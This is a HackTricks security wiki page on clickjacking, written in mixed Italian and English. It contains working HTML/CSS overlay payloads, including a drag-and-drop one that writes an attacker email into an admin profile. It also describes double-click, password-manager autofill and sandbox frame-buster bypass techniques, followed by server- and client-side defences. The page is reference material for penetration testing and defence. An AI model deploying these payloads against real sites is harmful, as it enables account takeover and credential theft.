Clickjacking
Reading time: 9 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Che cos'è Clickjacking
In un attacco clickjacking, un utente viene indotto a cliccare su un elemento in una pagina web che è invisibile o mascherato come un elemento diverso. Questa manipolazione può portare a conseguenze non volute per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credentials o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
Trucco per precompilare i form
A volte è possibile riempire il valore dei campi di un form utilizzando parametri GET durante il caricamento di una pagina. Un attacker può abusare di questo comportamento per compilare il form con dati arbitrari e inviare il payload di clickjacking in modo che l'utente prema il pulsante Submit.
Popolare il form con Drag&Drop
Se hai bisogno che l'utente compili un form ma non vuoi chiedergli direttamente di inserire informazioni specifiche (come l'email e/o una password specifica che conosci), puoi semplicemente chiedergli di Drag&Drop qualcosa che scriverà i dati controllati da te come in questo esempio.
Payload di base
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload multifase
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Clic payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Example:
You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters.
An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.
DoubleClickjacking
Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
warning
This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.
Estensioni del browser: DOM-based autofill clickjacking
Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.
- For concrete techniques and PoCs see:
Strategie per mitigare il Clickjacking
Difese lato client
Scripts executed on the client side can perform actions to prevent Clickjacking:
- Ensuring the application window is the main or top window.
- Making all frames visible.
- Preventing clicks on invisible frames.
- Detecting and alerting users to potential Clickjacking attempts.
However, these frame-busting scripts may be circumvented:
- Browsers' Security Settings: Some browsers might block these scripts based on their security settings or lack of JavaScript support.
- HTML5 iframe sandbox Attribute: An attacker can neutralize frame buster scripts by setting the sandbox attribute with allow-forms or allow-scripts values without allow-top-navigation. This prevents the iframe from verifying if it is the top window, e.g.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
I valori allow-forms e allow-scripts abilitano azioni all'interno dell'iframe pur disabilitando la navigazione a livello top. Per garantire la funzionalità prevista del sito target, potrebbero essere necessarie autorizzazioni aggiuntive come allow-same-origin e allow-modals, a seconda del tipo di attacco. I messaggi nella console del browser possono indicare quali permessi consentire.
Server-Side Defenses
X-Frame-Options
The X-Frame-Options HTTP response header informa i browser sulla legittimità di renderizzare una pagina in un o
- X-Frame-Options: deny - Nessun dominio può incorniciare il contenuto.
- X-Frame-Options: sameorigin - Solo il sito corrente può incorniciare il contenuto.
- X-Frame-Options: allow-from https://trusted.com - Solo la 'uri' specificata può incorniciare la pagina.
- Nota le limitazioni: se il browser non supporta questa direttiva, potrebbe non funzionare. Alcuni browser preferiscono la direttiva CSP frame-ancestors.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP è il metodo consigliato per la protezione contro Clickjacking:
- frame-ancestors 'none' - Simile a X-Frame-Options: deny.
- frame-ancestors 'self' - Simile a X-Frame-Options: sameorigin.
- frame-ancestors trusted.com - Simile a X-Frame-Options: allow-from.
Per esempio, la seguente CSP permette il framing solo dallo stesso dominio:
Content-Security-Policy: frame-ancestors 'self';
Ulteriori dettagli ed esempi complessi si possono trovare nella frame-ancestors CSP documentation e nella Mozilla's CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) è una misura di sicurezza che aiuta a prevenire Clickjacking e altri code injection attacks specificando quali sorgenti il browser dovrebbe permettere di caricare contenuti.
frame-src Directive
- Defines valid sources for frames.
- More specific than the default-src directive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Questa policy consente i frame dalla stessa origine (self) e da https://trusted-website.com.
child-src Direttiva
- Introdotta in CSP livello 2 per definire le sorgenti valide per web workers e frames.
- Funge da fallback per frame-src e worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Questa policy consente frame e worker dalla stessa origine (self) e https://trusted-website.com.
Note d'uso:
- Deprecazione: child-src è deprecato a favore di frame-src e worker-src.
- Comportamento di fallback: se frame-src è assente, child-src viene usato come fallback per i frame. Se entrambi sono assenti, viene usato default-src.
- Definizione rigorosa delle sorgenti: includere solo fonti attendibili nelle direttive per prevenire sfruttamenti.
JavaScript Script per impedire il framing
Sebbene non completamente infallibili, gli script frame-busting basati su JavaScript possono essere usati per impedire che una pagina web venga inserita in un frame. Esempio:
if (top !== self) {
top.location = self.location
}
Utilizzo di Anti-CSRF Tokens
- Validazione del token: Usa anti-CSRF tokens nelle applicazioni web per assicurare che le richieste che modificano lo stato vengano effettuate intenzionalmente dall'utente e non tramite una pagina Clickjacked.
Riferimenti
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.